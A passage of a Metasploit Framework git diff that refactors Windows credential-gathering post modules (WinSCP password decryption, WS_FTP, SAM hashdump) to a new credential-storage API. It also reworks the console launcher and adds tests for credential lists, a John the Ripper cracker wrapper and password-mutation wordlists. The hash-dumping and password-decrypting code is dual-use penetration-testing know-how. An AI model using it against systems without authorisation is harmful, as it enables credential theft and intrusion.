4 bits unpack1 = pwalg_simple_string.index(@password[0,1]) - unpack1= unpack1 << 4 + unpack1 = unpack1 << 4 # Takes the second char from the encrypted password and finds its position in the # pre-defined string @@ -213,37 +162,76 @@ class Metasploit3 < Msf::Post flag = decrypt_next_char() if flag == pwalg_simple_flag - decrypt_next_char(); - length = decrypt_next_char(); + decrypt_next_char() + length = decrypt_next_char() else - length = flag; + length = flag end - ldel = (decrypt_next_char())*2 ; - @password = @password[ldel,@password.length]; - result=""; - for ss in 0...length - result+=decrypt_next_char().chr + ldel = (decrypt_next_char())*2 + @password = @password[ldel,@password.length] + + result = "" + length.times do + result << decrypt_next_char().chr end if flag == pwalg_simple_flag - result= result[key.length,result.length]; - + result = result[key.length, result.length] end - return result - - + result end def run print_status("Looking for WinSCP.ini file storage...") - get_ini(client.fs.file.expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) + get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) print_status("Looking for Registry Storage...") get_reg() print_status("Done!") - end + def winscp_store_config(config) + host = config['HostName'] + pass = config['Password'] + portnum = config['PortNumber'] + proto = config['FSProtocol'] + user = config['UserName'] + sname = case proto.to_i + when 5 then "FTP" + when 0 then "SSH" + end + + # Decrypt our password, and report on results + plaintext = decrypt_password(pass, user+host) + print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}") + + service_data = { + # XXX This resolution should happen on the victim side instead + address: ::Rex::Socket.getaddress(host), + port: portnum, + service_name: sname, + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: plaintext, + username: user + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index ae8cbef726..ff7cd98526 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -66,19 +66,32 @@ class Metasploit3 < Msf::Post next if passwd == nil or passwd == "" port = 21 if port == nil print_good("Host: #{host} Port: #{port} User: #{username} Password: #{passwd}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 61609abceb..494cc08520 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -66,16 +66,47 @@ class Metasploit3 < Msf::Post print_status("Dumping password hashes...") print_line() print_line() + + # Assemble the information about the SMB service for this host + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + users.keys.sort{|a,b| a<=>b}.each do |rid| hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :user => users[rid][:Name].downcase, - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + # Add the details for this specific credential + credential_data[:private_data] = users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0] + credential_data[:username] = users[rid][:Name].downcase + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + print_line hashstring end diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index a3d2797741..726eab46d2 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -247,14 +247,38 @@ class Metasploit3 < Msf::Post collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n" print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + username: users[rid][:Name] + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue ::Interrupt @@ -305,14 +329,38 @@ class Metasploit3 < Msf::Post hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}" collected_hashes << "#{hash_entry}\n" print_good("\t#{hash_entry}") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => user, - :pass => "#{lmhash}:#{returned_hash[3]}", - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: "#{lmhash}:#{returned_hash[3]}", + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) rescue next end diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 45e976e925..9e657f8f1c 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -3,9 +3,20 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Post @@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post end #RubyZip sometimes corrupts the document when manipulating inside a - #compressed document, so we extract it with Zip::ZipFile into memory + #compressed document, so we extract it with Zip::File into memory def unzip_docx(zipfile) vprint_status("Extracting #{datastore['FILE']} into memory.") zip_data = Hash.new begin - Zip::ZipFile.open(zipfile) do |filezip| + Zip::File.open(zipfile) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.") return nil end diff --git a/msfconsole b/msfconsole index 6a446c23bd..9dee47926f 100755 --- a/msfconsole +++ b/msfconsole @@ -9,150 +9,18 @@ # $Revision$ # -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -@msfbase_dir = File.expand_path(File.dirname(msfbase)) - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' -require 'msfenv' - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'optparse' - -if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" -end - -class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } - - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" - - opts.separator "" - opts.separator "Specific options:" - - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end - - opts.on("-r", "-r ", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end - - opts.on("-o", "-o ", "Output to the specified file") do |o| - options['LocalOutput'] = o - end - - opts.on("-c", "-c ", "Load the specified configuration file") do |c| - options['Config'] = c - end - - opts.on("-m", "-m ", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end - - opts.on("-p", "-p ", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end - - opts.on("-y", "--yaml ", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end - - opts.on("-M", "--migration-path ", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end - - opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end - - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end - - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end - - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end - - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end - - opts.on("-a", "--ask", "Ask before exiting Metasploit or accept 'exit -y'") do |v| - options['ConfirmExit'] = true - end - - opts.on("-x", "-x ", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - - begin - opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end - - options - end -end - -options = OptsConsole.parse(ARGV) - # -# NOTE: we don't require this until down here since we may not need it -# when processing certain options (currently only -h) -# -require 'rex' -require 'msf/ui' - -# -# Everything below this line requires the framework. +# Standard Library # -if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit -end +require 'pathname' -begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run -rescue Interrupt -end +# +# Project +# + +# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 +require Pathname.new(__FILE__).expand_path.parent.join('config', 'boot') +require 'metasploit/framework/command/console' + +Metasploit::Framework::Command::Console.start diff --git a/script/rails b/script/rails new file mode 100644 index 0000000000..0839ba426e --- /dev/null +++ b/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' \ No newline at end of file diff --git a/spec/file_fixtures/fake_common_roots.txt b/spec/file_fixtures/fake_common_roots.txt new file mode 100644 index 0000000000..9316db735d --- /dev/null +++ b/spec/file_fixtures/fake_common_roots.txt @@ -0,0 +1,3 @@ +password +root +toor \ No newline at end of file diff --git a/spec/file_fixtures/fake_default_wordlist.txt b/spec/file_fixtures/fake_default_wordlist.txt new file mode 100644 index 0000000000..0e27467f4b --- /dev/null +++ b/spec/file_fixtures/fake_default_wordlist.txt @@ -0,0 +1,3 @@ +changeme +summer123 +admin \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 45798cd30f..8febb6deb7 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -1,19 +1,16 @@ # -*- coding:binary -*- require 'spec_helper' -# helps with environment configuration to use for connection to database -require 'metasploit/framework' - -# load Mdm::Host for testing -MetasploitDataModels.require_models - describe ActiveRecord::ConnectionAdapters::ConnectionPool do + self.use_transactional_fixtures = false + def database_configurations YAML.load_file(database_configurations_pathname) end def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # paths are always Array, but there should only be on 'config/database' entry + Rails.application.config.paths['config/database'].first end subject(:connection_pool) do @@ -24,7 +21,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do # used, so have to manually establish connection. before(:each) do ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + spec = ActiveRecord::Base.configurations[Rails.env] ActiveRecord::Base.establish_connection(spec) end diff --git a/lib/zip/test/data/generated/empty_chmod640.txt b/spec/lib/metasploit/framework/afp/client_spec.rb similarity index 100% rename from lib/zip/test/data/generated/empty_chmod640.txt rename to spec/lib/metasploit/framework/afp/client_spec.rb diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb new file mode 100644 index 0000000000..cfe583036b --- /dev/null +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -0,0 +1,148 @@ +require 'spec_helper' +require 'metasploit/framework/credential_collection' + +describe Metasploit::Framework::CredentialCollection do + + subject(:collection) do + described_class.new( + blank_passwords: blank_passwords, + pass_file: pass_file, + password: password, + user_as_pass: user_as_pass, + user_file: user_file, + username: username, + userpass_file: userpass_file, + ) + end + + let(:blank_passwords) { nil } + let(:username) { "user" } + let(:password) { "pass" } + let(:user_file) { nil } + let(:pass_file) { nil } + let(:user_as_pass) { nil } + let(:userpass_file) { nil } + + describe "#each" do + specify do + expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential) + end + + context "when given a user_file and password" do + let(:username) { nil } + let(:user_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: password), + Metasploit::Framework::Credential.new(public: "jkl", private: password), + ) + end + end + + context "when given a pass_file and username" do + let(:password) { nil } + let(:pass_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: "asdf"), + Metasploit::Framework::Credential.new(public: username, private: "jkl"), + ) + end + end + + + context "when given a userspass_file" do + let(:username) { nil } + let(:password) { nil } + let(:userpass_file) do + filename = "foo" + stub_file = StringIO.new("asdf jkl\nfoo bar\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "foo", private: "bar"), + ) + end + end + + context "when given a pass_file and user_file" do + let(:password) { nil } + let(:username) { nil } + let(:user_file) do + filename = "user_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + let(:pass_file) do + filename = "pass_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "asdf"), + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "jkl", private: "asdf"), + Metasploit::Framework::Credential.new(public: "jkl", private: "jkl"), + ) + end + end + + context "when :user_as_pass is true" do + let(:user_as_pass) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: username), + ) + end + end + + context "when :blank_passwords is true" do + let(:blank_passwords) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: ""), + ) + end + end + + end + + describe "#prepend_cred" do + specify do + prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar") + collection.prepend_cred(prep) + expect { |b| collection.each(&b) }.to yield_successive_args( + prep, + Metasploit::Framework::Credential.new(public: username, private: password), + ) + end + end + +end diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb new file mode 100644 index 0000000000..2856966b96 --- /dev/null +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -0,0 +1,142 @@ +require 'spec_helper' +require 'metasploit/framework/credential' + +describe Metasploit::Framework::Credential do + + subject(:cred_detail) { + described_class.new + } + + it { should respond_to :paired } + it { should respond_to :private } + it { should respond_to :private_type } + it { should respond_to :public } + it { should respond_to :realm } + it { should respond_to :realm_key } + + describe "#paired" do + it "defaults to true" do + expect(cred_detail.paired).to be_true + end + end + + context 'validations' do + + it 'is not valid without paired being set' do + expect(cred_detail).to_not be_valid + end + + context 'when not paired' do + before(:each) do + cred_detail.paired = false + end + + it 'is invalid without at least a public or a private' do + expect(cred_detail).to_not be_valid + end + + it 'is valid with just a public' do + cred_detail.public = 'root' + expect(cred_detail).to be_valid + end + + it 'is valid with just a private' do + cred_detail.private = 'toor' + expect(cred_detail).to be_valid + end + end + + context 'when paired' do + before(:each) do + cred_detail.paired = true + end + + it 'is invalid with only a public' do + cred_detail.public = 'root' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with only a private' do + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with empty string for public' do + cred_detail.public = '' + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is valid with empty string for private' do + cred_detail.public = 'root' + cred_detail.private = '' + expect(cred_detail).to be_valid + end + end + + end + + describe ".to_credential" do + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + it { should respond_to :to_credential } + it "should return self" do + cred_detail.to_credential.should eq(cred_detail) + end + end + + describe "#==" do + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + + context "when all attributes match" do + let(:other) do + described_class.new(public: public, private: private, realm: realm) + end + specify do + expect(other).to eq(cred_detail) + end + end + + context "when realm does not match" do + let(:other) do + described_class.new(public: public, private: private, realm: "") + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when private does not match" do + let(:other) do + described_class.new(public: public, private: "", realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when public does not match" do + let(:other) do + described_class.new(public: "", private: private, realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + context "when comparing to a different object" do + let(:other) {'a string'} + specify do + expect(other).not_to eq(cred_detail) + end + end + end +end diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb new file mode 100644 index 0000000000..8ec3ea8bb0 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -0,0 +1,248 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/cracker' + +describe Metasploit::Framework::JtR::Cracker do + + subject(:cracker) { described_class.new } + let(:john_path) { '/path/to/john' } + let(:other_john_path) { '/path/to/other/john' } + let(:session_id) { 'Session1' } + let(:config) { '/path/to/config.conf' } + let(:pot) { '/path/to/john.pot' } + let(:other_pot) { '/path/to/other/pot' } + let(:wordlist) { '/path/to/wordlist' } + let(:hash_path) { '/path/to/hashes' } + let(:nt_format) { 'nt' } + let(:incremental) { 'Digits5' } + let(:rules) { 'Rule34'} + let(:max_runtime) { 5000 } + + describe '#binary_path' do + + + context 'when the user supplied a john_path' do + before(:each) do + cracker.john_path = john_path + end + + it 'returns the manual path if it exists and is a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'rejects the manual path if it does not exist or is not a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return false + expect(Rex::FileUtils).to receive(:find_full_path).with('john').and_return other_john_path + expect(::File).to receive(:file?).with(other_john_path).once.and_return true + expect(cracker.binary_path).to_not eq john_path + end + end + + context 'when the user did not supply a path' do + it 'returns the john binary from the PATH if it exists' do + expect(Rex::FileUtils).to receive(:find_full_path).and_return john_path + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'returns the shipped john binary if it does not exist in the PATH' do + expect(Rex::FileUtils).to receive(:find_full_path).twice.and_return nil + expect(cracker).to receive(:select_shipped_binary).and_return other_john_path + expect(cracker.binary_path).to eq other_john_path + end + end + end + + describe '#crack_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + expect(cracker).to receive(:john_session_id).and_return session_id + end + + it 'starts with the john binary path' do + expect(cracker.crack_command[0]).to eq john_path + end + + it 'sets a session id' do + expect(cracker.crack_command).to include "--session=#{session_id}" + end + + it 'sets the nolog flag' do + expect(cracker.crack_command).to include '--nolog' + end + + it 'adds a config directive if the user supplied one' do + cracker.config = config + expect(cracker.crack_command).to include "--config=#{config}" + end + + it 'does not use a config directive if not supplied one' do + expect(cracker.crack_command).to_not include "--config=#{config}" + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.crack_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.crack_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.crack_command).to include "--format=#{nt_format}" + end + + it 'uses the user supplied wordlist directive' do + cracker.wordlist = wordlist + expect(cracker.crack_command).to include "--wordlist=#{wordlist}" + end + + it 'uses the user supplied incremental directive' do + cracker.incremental = incremental + expect(cracker.crack_command).to include "--incremental=#{incremental}" + end + + it 'uses the user supplied rules directive' do + cracker.rules = rules + expect(cracker.crack_command).to include "--rules=#{rules}" + end + + it 'uses the user supplied max-run-time' do + cracker.max_runtime = max_runtime + expect(cracker.crack_command).to include "--max-run-time=#{max_runtime.to_s}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.crack_command.last).to eq hash_path + end + + end + + describe '#show_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + end + + it 'starts with the john binary path' do + expect(cracker.show_command[0]).to eq john_path + end + + it 'has the --show flag' do + expect(cracker.show_command).to include '--show' + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.show_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.show_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.show_command).to include "--format=#{nt_format}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.show_command.last).to eq hash_path + end + end + + describe 'validations' do + context 'failures' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return false + end + + it 'produces the correct error message for config' do + cracker.config = config + expect(cracker).to_not be_valid + expect(cracker.errors[:config]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to_not be_valid + expect(cracker.errors[:hash_path]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for pot' do + cracker.pot = pot + expect(cracker).to_not be_valid + expect(cracker.errors[:pot]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to_not be_valid + expect(cracker.errors[:wordlist]).to include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return false + end + + it 'produces the correct error message for john_path' do + cracker.john_path = john_path + expect(cracker).to_not be_valid + expect(cracker.errors[:john_path]).to include "is not a valid path to an executable file" + end + end + end + + context 'successes' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return true + end + + it 'produces no error message for config' do + cracker.config = config + expect(cracker).to be_valid + expect(cracker.errors[:config]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to be_valid + expect(cracker.errors[:hash_path]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for pot' do + cracker.pot = pot + expect(cracker).to be_valid + expect(cracker.errors[:pot]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to be_valid + expect(cracker.errors[:wordlist]).to_not include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return true + end + + it 'produces no error message for john_path' do + cracker.john_path = john_path + expect(cracker).to be_valid + expect(cracker.errors[:john_path]).to_not include "is not a valid path to an executable file" + end + end + end + end +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb new file mode 100644 index 0000000000..9061e2c78a --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/invalid_wordlist' + +describe Metasploit::Framework::JtR::InvalidWordlist do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb new file mode 100644 index 0000000000..7067bcf683 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -0,0 +1,138 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/wordlist' + +describe Metasploit::Framework::JtR::Wordlist do + + subject(:wordlist) { described_class.new } + + let(:custom_wordlist) { File.expand_path('string_list.txt',FILE_FIXTURES_PATH) } + let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' } + let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) } + let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) } + let(:password) { FactoryGirl.create(:metasploit_credential_password) } + let(:public) { FactoryGirl.create(:metasploit_credential_public) } + let(:realm) { FactoryGirl.create(:metasploit_credential_realm) } + let(:mutate_me) { 'password' } + let(:mutants) { [ + "pa55word", + "password", + "pa$$word", + "passw0rd", + "pa55w0rd", + "pa$$w0rd", + "p@ssword", + "p@55word", + "p@$$word", + "p@ssw0rd", + "p@55w0rd", + "p@$$w0rd" + ] } + + it { should respond_to :appenders } + it { should respond_to :custom_wordlist } + it { should respond_to :mutate } + it { should respond_to :prependers } + it { should respond_to :use_common_root } + it { should respond_to :use_creds } + it { should respond_to :use_db_info } + it { should respond_to :use_default_wordlist } + it { should respond_to :use_hostnames } + + describe 'validations' do + + it 'raises an error if the custom_wordlist does not exist on the filesystem' do + expect(File).to receive(:file?).and_return false + wordlist.custom_wordlist = custom_wordlist + expect(wordlist).to_not be_valid + expect(wordlist.errors[:custom_wordlist]).to include "is not a valid path to a regular file" + end + + it 'raises an error if mutate is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:mutate]).to include "must be true or false" + end + + it 'raises an error if use_common_root is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_common_root]).to include "must be true or false" + end + + it 'raises an error if use_creds is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_creds]).to include "must be true or false" + end + + it 'raises an error if use_db_info is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_db_info]).to include "must be true or false" + end + + it 'raises an error if use_default_wordlist is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_default_wordlist]).to include "must be true or false" + end + + it 'raises an error if use_hostnames is not set to true or false' do + expect(wordlist).to_not be_valid + 